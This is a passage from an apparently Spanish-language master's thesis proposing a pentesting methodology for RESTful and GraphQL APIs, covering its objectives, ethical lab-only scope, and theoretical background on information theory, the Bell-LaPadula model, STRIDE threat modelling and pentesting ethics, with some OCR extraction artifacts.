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RESUMEN

El presente trabajo propone una redefinicion del enfoque tradicional aplicado al
pentesting de interfaces de programacion de aplicaciones (APIs), especificamente en entornos
RESTful y GraphQL. Se plantea una estrategia metodologica innovadora orientada a
contextos de red teaming y auditorias de seguridad, tanto internas como externas, con el fin
de optimizar la deteccidon y explotacion controlada de vulnerabilidades. A través de un
analisis comparativo entre ambos paradigmas de APIs, se desarrollan lineamientos practicos
que permiten a los profesionales de ciberseguridad incorporar procedimientos modernos y
efectivos en sus evaluaciones. Esta investigacion busca aportar a la disciplina un marco
actualizado de pentesting ofensivo, con una vision estratégica que refuerce la relevancia del

uso de metodologias adaptadas a los desafios contemporaneos en seguridad informatica.

Palabras clave: pentesting, APIs, RESTful, GraphQL, red teaming, auditoria de

seguridad, ciberseguridad.
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ABSTRACT

This paper proposes a redefinition of the traditional approach to penetration testing of
application programming interfaces (APIs), specifically in RESTful and GraphQL
environments. It presents an innovative methodological strategy geared towards red teaming
contexts and internal and external security audits, with the aim of optimizing the detection
and controlled exploitation of vulnerabilities. Through a comparative analysis of both API
paradigms, practical guidelines are developed that allow cybersecurity professionals to
incorporate modern and effective procedures into their assessments. This research seeks to
contribute to the discipline with an updated framework for offensive pentesting, with a
strategic vision that reinforces the relevance of using methodologies adapted to contemporary

challenges in information security.

Keywords: pentesting, APIs, RESTful, GraphQL, red teaming, security audit,

cybersecurity.
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Capitulo 1: Introduccion

En el contexto actual del desarrollo de software, las APIs (Interfaces de Programacion
de Aplicaciones) se han convertido en componentes fundamentales para la interconexién de
sistemas, servicios y plataformas digitales. Dado el acelerado desarrollo tecnologico y la
creciente dependencia de servicios digitales, garantizar la seguridad de los datos que manejan
estas aplicaciones se ha vuelto fundamental. En el panorama digital actual, las APIs se han
convertido en la base de los productos de software modernos, permitiendo una comunicacion
fluida entre sistemas, aplicaciones y servicios, lo que impulsa la innovacion y la eficiencia en
multiples industrias (Kothawade y Bhowmick, 2019, como se citdé en Shah, Mishra, &
Suthari 2025).

En los ultimos afios, las APIs RESTful y GraphQL han experimentado un crecimiento
notable, debido a su flexibilidad, escalabilidad y a la capacidad que ofrecen para optimizar el
intercambio de informacion en tiempo real. Como lo sefiala Helgason (2025): “Tal como se
indico al inicio de este experimento, nada impide que los desarrolladores creen mas
endpoints para el servicio REST en ejecucion. Sin embargo, esto constituye una especie de
solucion estatica hibrida en comparacion con implementar GraphQL en un servidor”
(traduccion propia, pag. 37).

No obstante, este incremento en su adopcion también plantea importantes desafios en
materia de seguridad, ya que estas interfaces pueden convertirse en vectores de ataque si no
se implementan las medidas de proteccion adecuadas.

Aunque existen metodologias de pentesting tradicionales, surge la necesidad de
desarrollar un marco metodoldgico actualizado y sistematico, basado en los lineamientos del
OWASP API Security Top 10, que permita evaluar de manera controlada y profesional la

seguridad de APIs modernas, integrando técnicas manuales y automatizadas. La presente
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investigacion se centra en disefiar y aplicar esta metodologia, estableciendo un enfoque
replicable que facilite la identificacion, analisis y mitigacion de vulnerabilidades en entornos
de laboratorio seguros. Este estudio no solo busca contribuir al fortalecimiento de la
seguridad de APIs, sino también proporcionar a los profesionales de ciberseguridad y a los
equipos de desarrollo una guia practica y aplicada que optimice las evaluaciones de
vulnerabilidad y refuerce la proteccion de sistemas criticos frente a riesgos de fraude,
filtracion de datos o interrupciones operativas. En este sentido, la investigacion ofrece un
aporte estratégico, profesional y directamente aplicable al campo del pentesting de APIs
modernas, abordando la creciente necesidad de metodologias ofensivas mas efectivas y
adaptadas a los desafios tecnoldgicos contemporaneos.

1.1. Definicion del proyecto

El presente trabajo de fin de maestria se centra en la ejecucion de un pentesting
especializado en APIs RESTful y GraphQL, mediante la utilizacion de técnicas manuales y
herramientas automatizadas de auditoria de seguridad. El trabajo busca identificar, analizar y
documentar vulnerabilidades comunes y emergentes en estos entornos, siguiendo
lineamientos reconocidos como los del OWASP API Security Top 10, con el fin de fortalecer
la seguridad de APIs modernas y contribuir a la creacion de entornos mas confiables y
resistentes frente a ataques cibernéticos.

En sintesis, el trabajo de fin de maestria se define como una propuesta metodologica
que combina rigor académico y aplicacion practica, destinada a mejorar la capacidad de
deteccion temprana de riesgos y a fomentar la implementacion de mejores practicas de
seguridad en APIs.

1.2. Justificacion e importancia del trabajo de investigacion
Segtin Alhamed y Rahman (2023), los atacantes cibernéticos suelen emplear diversos

vectores de ataque aprovechando la ausencia de politicas y estandares efectivos, lo que les
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permite vulnerar sistemas y robar informacion valiosa. Para prevenir estos ataques, los testers
de penetracion aplican ciertos estdndares que ayudan a reforzar la seguridad y reducir las
amenazas.

En este contexto, la relevancia de este proyecto radica en la necesidad de desarrollar y
aplicar una metodologia de pentesting moderna y estructurada para APIs RESTful y
GraphQL, basada en los lineamientos del OWASP API Security Top 10.

No obstante, como advierte Hadi (2023), sefiala que:

Una de las principales causas de las brechas de seguridad es la presion por cumplir
con plazos ajustados y lanzar productos rapidamente, lo que conlleva a pruebas insuficientes
en las aplicaciones. Frecuentemente, el desarrollo de APIs se divide entre el equipo de
ingenieria, que puede carecer de conocimientos en seguridad, y el equipo de seguridad, que a
su vez podria no estar familiarizado con el funcionamiento de las APIs.

En consecuencia, se vuelve imprescindible contar con una metodologia integral que
permita abordar de manera efectiva los desafios actuales en la seguridad de APIs. La falta de
coordinacidn entre equipos, la presion por lanzar productos rapidamente y la complejidad
técnica de las APIs modernas evidencian vacios en las practicas tradicionales de pruebas de
seguridad. Por ello, el presente trabajo de fin de maestria se justifica en la necesidad de
disefar e implementar un enfoque estructurado de pentesting, basado en estandares
reconocidos como el OWASP API Security Top 10, que sea adaptable tanto a entornos
RESTful como GraphQL. Esta propuesta busca no solo fortalecer la deteccion y mitigacion
de vulnerabilidades, sino también establecer una guia replicable que contribuya al desarrollo
de aplicaciones mas seguras en el ecosistema digital actual.

1.3. Alcance
El presente trabajo de fin de maestria se limita a la evaluacion de la seguridad de APIs

RESTful y GraphQL mediante la ejecucion de un pentesting controlado y profesional. El
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estudio abarca unicamente las APIs seleccionadas en un laboratorio seguro, garantizando que
todas las pruebas se realicen de manera €tica y sin intervenir en sistemas productivos de
terceros. Se utilizaran tanto técnicas manuales como herramientas automatizadas de auditoria,
siguiendo los lineamientos establecidos por el OWASP API Security Top 10 y metodologias
reconocidas de pentesting, con el objetivo de implementar un enfoque sistematico y
replicable que permita analizar las vulnerabilidades presentes en estos entornos. El proyecto
excluye la intervencion directa en sistemas en produccion, el desarrollo de nuevas APIs y
cualquier actividad que comprometa la integridad de datos de terceros, delimitando asi
claramente el alcance de las acciones realizadas y el marco de aplicacion de la metodologia

propuesta.

1.4. Objetivos
1.4.1 Objetivo General
Disefiar y aplicar un marco metodoldgico de pentesting para APIs RESTful y
GraphQL, basado en los lineamientos de OWASP API Security Top 10
1.4.2 Objetivos especificos
. Analizar la literatura y estandares actuales sobre seguridad en APIs
RESTful y GraphQL, incluyendo OWASP API Security Top 10
o Configurar un entorno de laboratorio seguro con APIs RESTful y
GraphQL simuladas para ejecutar pruebas controladas de pentesting.
o Comparar la efectividad de técnicas manuales y herramientas
automatizadas dentro de la metodologia propuesta, evaluando su capacidad para

detectar vulnerabilidades.
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Capitulo 2: Marco Tedrico

2.1 Fundamentos Teoricos de la Computacion y Seguridad
2.1.1 Teoria de la Informacion y Seguridad de la Comunicacion

En este ambito, la Teoria de la Informacion y la Seguridad de la Comunicacion
encuentran sus fundamentos en los aportes de Claude E. Shannon, considerado el padre de la
teoria matematica de la comunicacion. En 1948, Shannon publicé su influyente articulo 4
Mathematical Theory of Communication en el Bell System Technical Journal, trabajo que
marcé un antes y un después en la forma de concebir los procesos de transmision de
informacion.

Gutiérrez (2008) ha afirmado lo siguiente:

En julio de 1948, Claude E. Shannon decidid recoger todas sus investigaciones en una
obra y publicé un articulo en la revista Bell System Technical Journal, bajo el titulo de ‘A
Mathematical Theory of Communication’, donde sintetizé los trabajos precedentes y presento
algunas ideas sobre la medida de la informacion articulandolas dentro de una teoria. (pag. 3)

Dado lo anterior, fue posible establecer las bases de la comunicacion actual entre
computadoras y redes, las cuales se fundamentan en el manejo de bits de informacion. En
este contexto, la informacion puede definirse como la probabilidad de ocurrencia de un
evento. Asi, si un evento “a” ocurre y lo denominamos “b”, la cantidad de informacion
recibida es inversamente proporcional a la probabilidad de ocurrencia del evento: cuanto mas
improbable sea el suceso, mayor serd la informacion que aporta.

Partimos de la definicion de informacion sea un suceso cualquiera el que pueda
presentarse como una probabilidad P(E), una vez ocurrido dicho suceso, la informacion
asociada al mismo definimos como I(E). La informacion es inversamente proporcional a la

probabilidad de ocurrencia de un suceso. (Scozzina, 2020, pag. 208)
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De acuerdo con la teoria de la informacion propuesta por Shannon, la cantidad de
informacion asociada a un evento E depende de la probabilidad de que dicho evento ocurra.
Cuanto menor sea la probabilidad del evento, mayor sera la informacion que proporciona su
ocurrencia.

Esta relacion se expresa matematicamente mediante la siguiente ecuacion:

I(E) = log, expresda en bits

P(E)

donde P(E)representa la probabilidad de que ocurra el evento E, y I(E)corresponde a
la cantidad de informacidn expresada en bits.

Ademas, Shannon introdujo conceptos fundamentales como la entropia, entendida
como una medida de incertidumbre asociada a un conjunto de mensajes posibles, y el ruido,
definido como cualquier factor que interfiere o distorsiona la sefial en el canal de
comunicacion. Estos principios permitieron establecer modelos matematicos precisos para
analizar la eficiencia de los sistemas de comunicacion, la capacidad de los canales y la
redundancia necesaria para garantizar la correcta interpretacion del mensaje.

La relevancia de este marco tedrico se extiende al ambito de la seguridad de la
comunicacion, donde la entropia se convierte en un elemento crucial para la generacion de
claves criptograficas robustas y la construccion de algoritmos resistentes a ataques de fuerza
bruta. De igual manera, el estudio del ruido y de la integridad en los canales de transmision
constituye la base para comprender fendémenos como la pérdida de datos, la corrupcion de
mensajes y la necesidad de implementar mecanismos de deteccion y correccion de errores.

En consecuencia, los postulados de Shannon no solo explican los procesos de
transmision de informacion en términos matematicos, sino que también se erigen como la
piedra angular de la criptografia moderna y de los protocolos de comunicacion segura,

garantizando propiedades esenciales como la confidencialidad, la integridad, la autenticidad y
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la disponibilidad de la informacion en entornos digitales cada vez mas complejos y expuestos
a amenazas.

En sintesis, la Teoria de la Informacion y la Seguridad de la Comunicacidon encuentra
una aplicacién directa en el contexto de las APIs, dado que estas tecnologias dependen
intrinsecamente de la transmision, el intercambio y la proteccion de datos entre sistemas
interconectados. Las APIs actian como el medio de comunicacidn entre la l6gica de negocio
(backend) y los consumidores de servicios (frontend), estableciendo un canal continuo de
flujo informativo que, si bien es indispensable para la funcionalidad del entorno digital,
también amplia la superficie de exposicion ante posibles vulnerabilidades y amenazas
cibernéticas.

Desde esta perspectiva, comprender los fundamentos de la teoria de la informaciéon
permite analizar como los mecanismos de comunicacion pueden ser interceptados o
manipulados por actores de amenaza, quienes buscan explotar debilidades en la integridad y
confidencialidad de los datos transmitidos. Este entendimiento abre el camino hacia la
necesidad de aplicar modelos mas rigurosos de proteccion, orientados especificamente a la
confidencialidad como principio esencial de la seguridad de la informacion.

En consecuencia, este analisis conduce al estudio del Modelo Bell-LaPadula, una
teoria clasica que redefine la forma en que se gestiona el acceso y la proteccion de la
informacion clasificada. Dicho modelo aporta una vision estructurada sobre el control de
flujos de informacion entre distintos niveles de seguridad, estableciendo las bases
conceptuales para garantizar la confidencialidad dentro de los sistemas modernos incluidas

las arquitecturas de APIs mediante la aplicacion de politicas formales de acceso y restriccion.
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2.1.2 Teoria de la Confidencialidad Bell-LaPadulaue

El primer modelo de MLS fue propuesto en 1972 por dos investigadores
norteamericanos de Mitre Corp., Elliot Bell y Leonard LaPadula. El modelo BLP es la
especificacion de las llamadas al sistema de un sistema operativo antecesor a UNIX. Bell y
LaPadula utilizaron una notacién matematica simple, pero ad-hoc para describir una maquina
de estados cuyo espacio de estados esta constituido por las estructuras de datos necesarias
para imponer MLS y cuyas transiciones son las llamadas al sistema operativo. (Cristia, 2021,
pag. 14)

La definicion de esta teoria se fundamenta en la necesidad de prevenir el acceso no
autorizado a la informacion clasificada, estableciendo un conjunto de reglas y mecanismos
formales orientados a preservar uno de los pilares fundamentales. En este sentido, diversas
fuentes especializadas sostienen que:

El Modelo Bell-LaPadula es un modelo formal utilizado en el campo de la seguridad
informatica para prevenir el acceso no autorizado a informacion clasificada. Proporciona un
conjunto de reglas y restricciones para garantizar la confidencialidad de los datos sensibles.
Nombrado en honor a sus creadores, David Bell y Leonard LaPadula, este modelo es una
piedra angular del control de acceso en sistemas seguros. (VPN Unlimited, 2024, pag. 1)

Otro Autor por su parte afirma demostraciones como:

Ademas de MLS el modelo BLP incluye la especificacion de un control DAC. Las
operaciones del sistema solo se pueden ejecutar si se pasan los controles DAC y MLS. Luego
especificaron dos invariantes de estado que describen de manera concisa las propiedades
claves para un sistema operativo que implemente MLS. Finalmente demostraron que la
especificacion de las transiciones preserva esos invariantes. (Cristia, 2021, pag. 14)

En este sentido, se puede afirmar que el modelo Bell-LaPadula busca establecer un

mecanismo de proteccion robusto que blinde la informacién frente a accesos no autorizados,
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garantizando asi la confidencialidad de los datos clasificados. Dado que la proteccion de la
informacion constituye un recurso de alto valor estratégico, los esfuerzos de seguridad deben
orientarse precisamente a su preservacion, asegurando que los flujos de informacién se
mantengan dentro de los niveles de autorizacion definidos.

En el campo de la ciencia de la computacion, la Seguridad Informatica busca la
proteccion de la informacion valiosa a través del uso de la tecnologia, los procesos y el
entrenamiento. De la misma manera, busca prevenir que los atacantes consigan sus objetivos
a través de accesos no autorizados a los sistemas y las redes informaticas. (Ballesteros &
Cala, 2007, pag. 13)

Este planteamiento evidencia que la seguridad de la informacion trasciende el &mbito
puramente tecnoldgico, integrando factores humanos y organizacionales. Como sefialan
Saltzer y Schroeder (1975), el disefio de sistemas seguros requiere una vision integral basada
en principios como el minimo privilegio y la separacion de funciones, los cuales permiten
fortalecer los mecanismos de control de acceso y reducir la probabilidad de accesos
indebidos. En ese sentido, la definicion de Ballesteros & Cala (2007) coincide con la
concepcion moderna de la seguridad de la informacidn sustentada en la triada CID
Confidencialidad, Integridad y Disponibilidad, al destacar la importancia de prevenir
violaciones a la confidencialidad mediante la aplicacion conjunta de procesos, tecnologia y
capacitacion.

El Modelo Bell-LaPadula se basa en el concepto de politica "no-lectura-arriba, no-
escritura-abajo", lo que significa que los usuarios con un cierto nivel de seguridad no pueden
leer datos de un nivel de clasificacion superior (no-lectura-arriba) ni escribir datos en un nivel
de clasificacion inferior (no-escritura-abajo). Esto previene la divulgacion no autorizada de

informacion y mantiene la confidencialidad de los datos sensibles. (VPN Unlimited, 2024,

pag. 2)
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Este modelo constituye uno de los primeros enfoques formales de control de acceso
obligatorio (MAC) y sento las bases para la proteccion de la confidencialidad en sistemas
multiusuario. Su relevancia radica en que introduce un mecanismo matematico que garantiza
que la informacion solo fluya hacia niveles iguales o superiores, reduciendo el riesgo de
fugas accidentales o intencionadas. En el contexto de la ciberseguridad moderna
especialmente en arquitecturas de APIs y entornos distribuidos estos principios siguen siendo
vigentes, pues la segmentacion de privilegios y la clasificacion de datos contintian siendo
estrategias esenciales para preservar la integridad de los sistemas y evitar la exposicion de
informacion sensible.

En el contexto actual, caracterizado por el incremento de riesgos y amenazas
cibernéticas provenientes de diversos actores maliciosos, las organizaciones enfrentan un
desafio constante para mantener la seguridad de sus sistemas. Las APIs se han convertido en
uno de los principales objetivos de ataque, debido a que funcionan como punto de enlace
entre la ldgica de negocio o backend y los consumidores o usuarios finales en el frontend.
Por esta razon, resulta esencial implementar medidas de proteccion robustas que
salvaguarden estos componentes criticos. En este marco, la aplicacion de la triada CID
(Confidencialidad, Integridad y Disponibilidad) adquiere especial relevancia, ya que permite
abordar la seguridad desde un enfoque holistico, garantizando la proteccion integral de la
informacion y la continuidad de los servicios. De acuerdo con una de las fuentes analizadas,
el modelo establece tres principios esenciales que constituyen la base de la seguridad de la
informacion confidencialidad, integridad y disponibilidad, enfatizando la importancia de su
aplicacion conjunta para lograr una proteccion efectiva frente a amenazas cibernéticas.

El modelo define tres principios de seguridad fundamentales: confidencialidad,
integridad y disponibilidad (CIA, por sus siglas en inglés). Pone énfasis en la

confidencialidad y se centra en prevenir la fuga de informacion de niveles de seguridad
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superiores a inferiores. Al imponer controles de acceso estrictos, el Modelo Bell-LaPadula
asegura que solo las personas autorizadas puedan acceder a informacion clasificada. (VPN
Unlimited, 2024, pag. 2)

El modelo Bell-LaPadula representa un hito en los estudios de seguridad informatica
al establecer un enfoque riguroso y formal orientado a garantizar la confidencialidad de la
informacion. Su formulacién permitié definir politicas de acceso basadas en niveles
jerarquicos de seguridad, contribuyendo significativamente a la proteccion de los datos
clasificados y al desarrollo posterior de los sistemas de control de acceso. No obstante, el
vertiginoso avance tecnologico y la creciente complejidad de los entornos digitales han
evidenciado que la confidencialidad, si bien es esencial, no resulta suficiente por si sola para
abordar la naturaleza cambiante de las amenazas contemporaneas.

En este contexto, surge la necesidad de ampliar la perspectiva hacia un modelo mas
dinamico e integral que considere los riesgos asociados a las amenazas emergentes. Asi, toma
relevancia la Teoria de Amenazas y Riesgos, la cual propone una vision proactiva de la
seguridad, orientada a identificar, evaluar y mitigar los posibles incidentes que puedan
comprometer la confidencialidad, integridad o disponibilidad de los activos de informacion.
Este enfoque académico busca comprender el comportamiento de los actores de amenaza, los
escenarios de riesgo y las vulnerabilidades explotables, permitiendo desarrollar estrategias
preventivas que fortalezcan la resiliencia de los sistemas ante un entorno tecnolégico cada

vez mas hostil y cambiante.

2.1.3 Teoria de Amenazas y Riesgos (STRIDE, DREAD, PASTA,) en el contexto de APIs
La Teoria de Amenazas y Riesgos constituye un marco conceptual fundamental en la
gestion de la seguridad de la informacion, al permitir la identificacion y evaluacion de los

eventos que podrian comprometer la confidencialidad, integridad o disponibilidad de los
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activos. De acuerdo con la norma ISO/IEC 27005 (2018), la gestion del riesgo implica un
proceso sistematico de analisis y tratamiento de las amenazas, orientado a reducir su
probabilidad de ocurrencia y su impacto potencial. En este sentido, comprender la relacion
entre amenazas, vulnerabilidades y activos criticos resulta esencial para establecer controles
eficaces que fortalezcan la postura de seguridad de los sistemas.

Durante los ultimos afios, las amenazas de Seguridad de la informacion han ido
aumentando y diversificando su manera de vulnerar sistemas de informacion, segtin los
Reportes de Riesgos Globales del Foro Mundial de Economia, se estima que el crecimiento
continue en ascenso debido a la proliferacion de dispositivos que incluyen una conexiéon a
internet. (World Economic Forum, 2020)

Aunque no existe una teoria formal unificada denominada “teoria de amenazas y
riesgos”, en el ambito de la seguridad de la informacién y la ciberseguridad se ha consolidado
un conjunto de marcos conceptuales y metodologicos que, en su conjunto, configuran un
cuerpo tedrico robusto para la comprension y gestion de las amenazas dentro de los sistemas
tecnologicos. Modelos como el NIST SP 800-30, STRIDE, PASTA (Process for Attack
Simulation and Threat Analysis) y OCTAVE (Operationally Critical Threat, Asset, and
Vulnerability Evaluation) establecen principios y procedimientos sistematicos para
identificar, analizar y mitigar los riesgos que surgen de la interaccion entre amenazas,
vulnerabilidades y activos criticos.

Desde esta perspectiva, estos marcos no solo permiten evaluar la exposicion de una
organizacion ante posibles incidentes de seguridad, sino que también ofrecen una base tedrica
aplicada que orienta la toma de decisiones estratégicas en la gestion del riesgo cibernético.
Cada uno de estos modelos aborda la problemaética desde un enfoque distinto: mientras NIST
SP 800-30 se centra en la evaluacion del riesgo y la determinacion de su impacto potencial,

STRIDE propone un analisis estructurado de amenazas mediante categorias especificas;
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PASTA, por su parte, incorpora la simulacion de ataques y la priorizacion de controles de
seguridad; y OCTAVE introduce una vision organizacional del riesgo, integrando aspectos
técnicos, humanos y procedimentales.

En conjunto, estas metodologias constituyen los fundamentos de lo que podria
considerarse una teoria aplicada de amenazas y riesgos, en tanto buscan explicar y predecir el
comportamiento de las amenazas en entornos complejos, permitiendo establecer mecanismos
preventivos, correctivos y adaptativos para la proteccion de los sistemas de informacion y los
entornos ciberfisicos.

En este contexto, resulta pertinente destacar el papel de las metodologias de modelado
de amenazas, las cuales permiten operacionalizar los principios tedricos de la gestion del
riesgo dentro de los sistemas de informacion. Entre los enfoques mas representativos se
encuentra la metodologia STRIDE, desarrollada por Microsoft, que propone una clasificacion
estructurada de las amenazas con base en su naturaleza y propoésito. Este modelo se ha
consolidado como una de las herramientas mas utilizadas en el &mbito del analisis de
seguridad proactivo, ya que facilita la identificacion, categorizacioén y mitigacion de
vulnerabilidades desde las etapas iniciales del disefio de sistemas, fortaleciendo asi la postura
de defensa organizacional frente a escenarios de riesgo cibernético.

En este sentido, Soniya y Aghila (2017) definen la metodologia STRIDE como un
enfoque integral de analisis de amenazas desarrollado por Microsoft, cuyo proposito es
evaluar de manera estructurada los posibles riesgos asociados a aplicaciones o componentes
web. Dicho enfoque se fundamenta en la clasificacion de las amenazas en seis categorias
principales, lo que permite comprender su naturaleza, origen y posibles consecuencias dentro
de los sistemas de informacion:

El enfoque STRIDE es un método de andlisis de amenazas desarrollado por Microsoft

para examinar las posibles amenazas en aplicaciones o componentes web. Este enfoque
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puede utilizarse para mapear las amenazas potenciales en seis categorias: suplantacion de
identidad (Spoofing), manipulacion (Tampering), repudio (Repudiation), divulgacion de
informacion (Information Disclosure), denegacion de servicio (Denial of Service) y elevacion
de privilegios (Elevation of Privilege). La suplantacion de identidad consiste en hacerse pasar
por otra persona o entidad; la manipulacién implica la modificacion maliciosa de codigo,
datos o configuraciones; el repudio se refiere a la negacion de la veracidad o validez de una
accion; la divulgacion de informacion es la exposicion de datos a personas no autorizadas; la
denegacion de servicio implica impedir o degradar el acceso a los usuarios legitimos; y la
elevacion de privilegios consiste en obtener capacidades o accesos sin la debida autorizacion
[traduccidn propia] (Soniya y Aghila, 2017, pag. 201).

Del mismo modo los autores Khan et al. (2017) confirman lo siguiente:

“El método STRIDE fue propuesto por Microsoft y representa un mnemonico para
seis tipos diferentes de amenazas de seguridad: (i) Suplantacion de identidad: suplantacion de
un usuario, proceso o elemento legitimo del sistema; (ii) Manipulacién: modificacion o
alteracion de informacion legitima; (iii) Repudio: negacién o rechazo de una accion ejecutada
en el sistema; (iv) Divulgacion de informacion: filtracion de datos o acceso no autorizado a
informacion confidencial; (v) Denegacion de servicio (DoS): interrupcion del servicio para
usuarios legitimos; y (vi) Elevacion de privilegios: obtencion de privilegios superiores por
parte de un usuario con autoridad restringida” [traduccion propia] (pag. 2).

Cada una de estas dimensiones representa un vector de ataque potencial que
compromete la confidencialidad, integridad o disponibilidad de los activos de informacion.
En este sentido, STRIDE permite no solo comprender el impacto de las amenazas sobre la
arquitectura del sistema, sino también establecer mecanismos de control y defensa que

fortalezcan la postura de seguridad organizacional.
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Desde una perspectiva metodologica, el modelo STRIDE se integra de manera
efectiva en las fases de disefio y evaluacion de sistemas, proporcionando un marco analitico
que facilita la deteccion temprana de vulnerabilidades y la priorizacion de medidas de
mitigacion. Por ello, su aplicacion es ampliamente reconocida en el &mbito del analisis de
riesgos y modelado de amenazas, sirviendo como una herramienta esencial para la gestion
proactiva de la seguridad en entornos tecnoldgicos complejos.

Como explican Khan et al. (2017), “el modelado de amenazas basado en STRIDE
puede realizarse de dos maneras posibles: (i) STRIDE por elemento y (ii) STRIDE por
interaccion. El enfoque STRIDE por elemento es mas complejo, ya que analiza el
comportamiento y las operaciones de cada componente del sistema. Sin embargo, puede no
ser suficiente para identificar ciertas amenazas que no son evidentes a partir del diagrama de
flujo de datos (DFD). En determinados escenarios, las amenazas surgen en las interacciones
entre los componentes del sistema” [traduccidn propia] (p. 2).

En el contexto de las Interfaces de Programacion de Aplicaciones (API), estas pueden
entenderse como intermediarios de comunicacion que permiten la interaccion entre un cliente
y un servidor mediante el intercambio estructurado de datos y peticiones. Debido a su
naturaleza expuesta y su papel central en la interconectividad de los sistemas modernos, las
API representan un punto critico dentro de la superficie de ataque de una organizacion. En
este sentido, la metodologia STRIDE puede aplicarse como un modelo analitico eficaz para
identificar y clasificar las amenazas asociadas a la arquitectura y funcionamiento de las API,
tanto en entornos REST como GraphQL.

A través de STRIDE, es posible examinar aspectos especificos de seguridad tales
como la suplantacion (Spoofing) de tokens o credenciales de acceso, la manipulacion
(Tampering) de parametros en las solicitudes HTTP, el repudio (Repudiation) mediante

acciones no registradas o carentes de trazabilidad, la divulgacién de informacion (Information
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Disclosure) a través de respuestas excesivamente detalladas o mal configuradas, la
denegacion de servicio (DoS) provocada por sobrecarga de peticiones, y la elevacion de
privilegios (Elevation of Privilege) mediante la explotacion de fallos en la autenticacion o
control de acceso. De esta manera, el modelo STRIDE permite establecer una vision integral
del riesgo asociado al ciclo de vida de las API, facilitando el disefio de medidas de mitigacion
y fortaleciendo la postura de seguridad del sistema desde una perspectiva preventiva y
estructurada.

El enfoque STRIDE, desarrollado por Microsoft, se utiliza para identificar las
posibles amenazas asociadas a cada API especifica de Chrome. En el caso de las extensiones,
la suplantacion de identidad (spoofing) puede manifestarse en formas como el phishing o el
clickjacking. Por ejemplo, el método update de la API de marcadores (bookmarks API) puede
emplearse para actualizar un marcador existente con una nueva URL, la cual podria utilizarse
con fines de phishing, constituyendo asi un caso de suplantacion. (Dev y Jevitha, 2016, pag.

182)

2.2 Introduccion al Pentesting

La seguridad es uno de los temas que recibe mucha atencion en el mundo actual.
Debido a nuestra creciente dependencia de diferentes formas de tecnologia, dispositivos y
muchos otros tipos de sistemas y aparatos, se esta prestando mayor atencion al tema de cuan
seguros y protegidos estan realmente estos dispositivos y sistemas. (Oriyano, 2017)

La seguridad informatica no nacié como una disciplina formal, sino como una
consecuencia inevitable del progreso tecnolégico. Cada avance en comunicacion o
computacion trajo consigo no solo nuevas capacidades, sino también nuevas fragilidades. El
penetration testing, cominmente abreviado como pentesting, surge precisamente como

respuesta a esa realidad: es el arte y la metodologia profesional de evaluar la seguridad de un
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sistema mediante ataques controlados y autorizados, con el objetivo de identificar
vulnerabilidades antes de que actores maliciosos las exploten.

Baca (2016) la define a la seguridad como:

La disciplina que con base en politicas y normas internas y externas de la empresa se
encarga de proteger la integridad y privacidad de la informacion que se encuentra almacenada
en un sistema informatico contra cualquier tipo de amenazas minimizando los riesgos tanto
fisicos como ldgicos a los que esta expuesta. (pag. 12)

No obstante, es importante establecer una distincion fundamental entre seguridad
informatica y pentesting, ya que, aunque a menudo se utilizan como sindénimos en entornos
corporativos representan enfoques distintos dentro del mismo dominio como la principal
diferencia de un simple escaneo de seguridad o una auditoria documental, el pentesting
reproduce el pensamiento y las tacticas de un adversario real, pero dentro de un marco ético y
legal claramente definido. Su proposito no es demostrar destruccion ni alimentar egos
técnicos, sino generar evidencia objetiva sobre el nivel de exposicion de una infraestructura,
una aplicaciéon o un servicio digital.

Una prueba de penetracion bien ejecutada permite responder preguntas criticas para
cualquier organizacion moderna: ;/qué tan facil seria comprometer nuestros sistemas?, ;qué
datos podrian quedar expuestos?, ;qué impacto real tendria un ataque?, y sobre todo, /como
podemos prevenirlo?

Sin perder de vista el objetivo del pentesting su aplicacion y evaluacion en entornos
controlados para poder responder las preguntas planteadas, este enfoque no solo resulta
técnico, sino que también amplia y enriquece nuestra perspectiva del entorno de trabajo y
mejora nuestra preparacion ante un posible ataque.

Un objetivo general del pentesting es vulnerar tu sistema para detectar los puntos

débiles en su mecanismo de defensa, con el fin de corregir las fallas de seguridad que hayan



Metodologia de Pentesting para APIS 18

quedado expuestas, y asi garantizar que el sistema esté protegido contra cualquier codigo
malicioso externo que pueda intentar violar la seguridad del sistema para obtener acceso no

autorizado a los datos. (Prashant et al.,2020, pag. 674)

2.2.1 Concepto y Evolucion del Pentesting

Las pruebas de penetracion pueden definirse como un intento legal y autorizado de
localizar y explotar con éxito sistemas informaticos con el propdsito de hacer que dichos
sistemas sean mas seguros. Este proceso incluye la busqueda de vulnerabilidades, asi como la
realizacion de ataques de prueba de concepto para demostrar que dichas vulnerabilidades son
reales. Una prueba de penetracion adecuada siempre concluye con recomendaciones
especificas para abordar y corregir los problemas que fueron descubiertos durante la
evaluacion. En conjunto, este proceso se utiliza para ayudar a proteger computadoras y redes
contra ataques futuros. La idea general consiste en identificar fallos de seguridad utilizando
las mismas herramientas y técnicas que emplearia un atacante. Estos hallazgos pueden luego
ser mitigados antes de que un hacker real los explote. (Engebretson, 2013, pag. 1)

En este punto, resulta necesario aclarar que no toda actividad técnica orientada a
vulnerar un sistema tiene el mismo proposito ni obedece a la misma logica. Si bien las
herramientas y procedimientos empleados por un auditor de seguridad pueden ser idénticos a
los utilizados por un atacante real, lo que diferencia a uno del otro no es la técnica, sino el
marco bajo el cual actian.

Comprender esta dualidad es esencial para evitar percepciones erréneas sobre el
pentesting. No se trata de “hackear por curiosidad” ni de imitar comportamientos ilicitos, sino
de emplear el conocimiento ofensivo con un propoésito defensivo. En otras palabras, el

pentester no busca comprometer un sistema para obtener beneficio propio, sino para
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anticiparse a quien si lo haria con fines dafiinos. Esa diferencia en el objetivo final es lo que
transforma una técnica potencialmente peligrosa en una herramienta legitima de proteccion.

Aunque quienes actuan con ética realizan muchas de las mismas tareas utilizando
muchas de las mismas herramientas, existe una diferencia enorme entre ambos lados. En
esencia, estas diferencias pueden resumirse en tres puntos clave: autorizacién, motivacion e
intencion. Es importante recalcar que estos puntos no lo abarcan todo, pero pueden resultar
utiles para determinar si una actividad es ética o no. (Engebretson, 2013, pag. 3)

Hablar de pentesting implica necesariamente hablar de responsabilidad. Ninguna
prueba es legitima sin consentimiento formal, sin un alcance (scope) previamente delimitado,
y sin reglas explicitas sobre qué se puede y qué no se puede hacer durante la evaluacion. El
tester profesional a menudo llamado ethical hacker o white hat se diferencia del atacante
malicioso no solo por su intencidn, sino por el respeto absoluto a los limites legales y
contractuales que protegen tanto al cliente como al propio fester. Dentro de este marco, se
reconocen tres perfiles clasicos:

White hat, quien opera con autorizacion y enfoque defensivo;

Grey hat, que puede descubrir vulnerabilidades sin permiso previo, pero sin intencion
